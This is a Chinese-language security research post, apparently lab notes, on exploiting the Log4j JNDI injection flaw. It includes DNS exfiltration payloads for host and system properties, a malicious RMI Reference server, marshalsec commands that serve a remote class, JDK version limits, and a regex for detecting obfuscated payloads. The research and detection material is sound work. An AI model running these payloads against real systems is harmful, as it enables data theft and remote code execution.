无法外带敏感数据问题
通过DNSLOG外带敏感信息时,使用子域名形式会有一部分信息带不出来。比如我在下面分别拼接了四个payload:
${hostName}
${sys:user.dir}
${sys:java.version}
${java:os}}
位置如图:
结果是只有hostname
和java.version
外带出了信息:
带不出来的原因是返回的结果中会有一些特殊字符如空格,导致jndi lookup抛出NamingException:
所以更好的方法是通过dns外带,监听UDP端口,并将变量名拼接在url之后:
${jndi:dns://127.0.0.1:6666/${hostName} -${sys:user.dir}- ${sys:java.version} - ${java:os}}
如图可以外带敏感信息:
那么这些{}
究竟是什么变量,以及其他还可以外带哪些敏感信息呢,这个我也找了一下。log4j 漏洞一些特殊的利用方式这篇文章提到了System.getProperty()
和System.getenv()
以及Bundle,但我本地打印了一下发现并不是${sys:java.version}
这样的key-value对,应该是log4j从这些属性中读出信息后自己进行了处理,这个有待debug跟一下。
另外浅蓝师傅还在文章中提到了ResourceBundle
加载.properties 配置文件,导致可以读配置项信息的问题:
好用的正则表达式
Twitter上@egglessness老哥分享的正则:
\${(\${(.*?:|.*?:.*?:-)('|"|`)*(?1)}*|[jndi:lapsrm]('|"|`)*}*){9,11}
我用regexr测试了一下,前缀是都能匹配上的,即使进行了大小写或者随机符号混淆:
可以从这里调试一下:
https://regex101.com/r/bImUQl/1
我匹配的payload是使用woodpecker框架加载此payload插件生成的:
可以帮助进行大小写混淆和随机符号混淆。
ElasticSearch中的log4j版本受影响但无法RCE
偷师P牛
创建的index名中带payload时会写进日志,经由log4j处理,但是ES对index的名字有一些限制,无法使用特殊字符:
template index可以使用payload触发jndi lookup,但是由于ES使用了Security Manager安全机制来防御文件操作和Socket操作,所以无法正常连接远程服务器,也就无法实现RCE。只能用DNS外带一些敏感信息了。
利用RMI攻击要求jdk版本更低
LDAP协议攻击Log4j要求jdk版本低于8u191,RMI协议攻击要求jdk版本低于8u121。都是针对被攻击端的jdk版本要求。
我的jdk版本为8u181,默认情况下,还可以指定URI为LDAP协议来进行JNDI注入攻击,但RMI和CORBA已被禁止使用远程codebase。主动开启选项System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
才可以利用成功:
JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
测试RMI Server:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
System.out.println("Create RMI registry on port 1099!");
// Reference 需要传入三个参数 (className, factory, factoryLocation)
// 第一个参数随便填,第二各参数要填 HTTP 服务下的类名,第三个参数填写远程地址
Reference refObj = new Reference("whatever", "EvilObject", "http://127.0.0.1:8080/");
// ReferenceWrapper 包裹 Reference 类,使其能通过 RMI 进行远程访问
ReferenceWrapper referenceWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", referenceWrapper);
}
}
marshalsec启动服务监听:
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.198.138:1111/#Calc" 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.198.138:1111/#Calc" 9999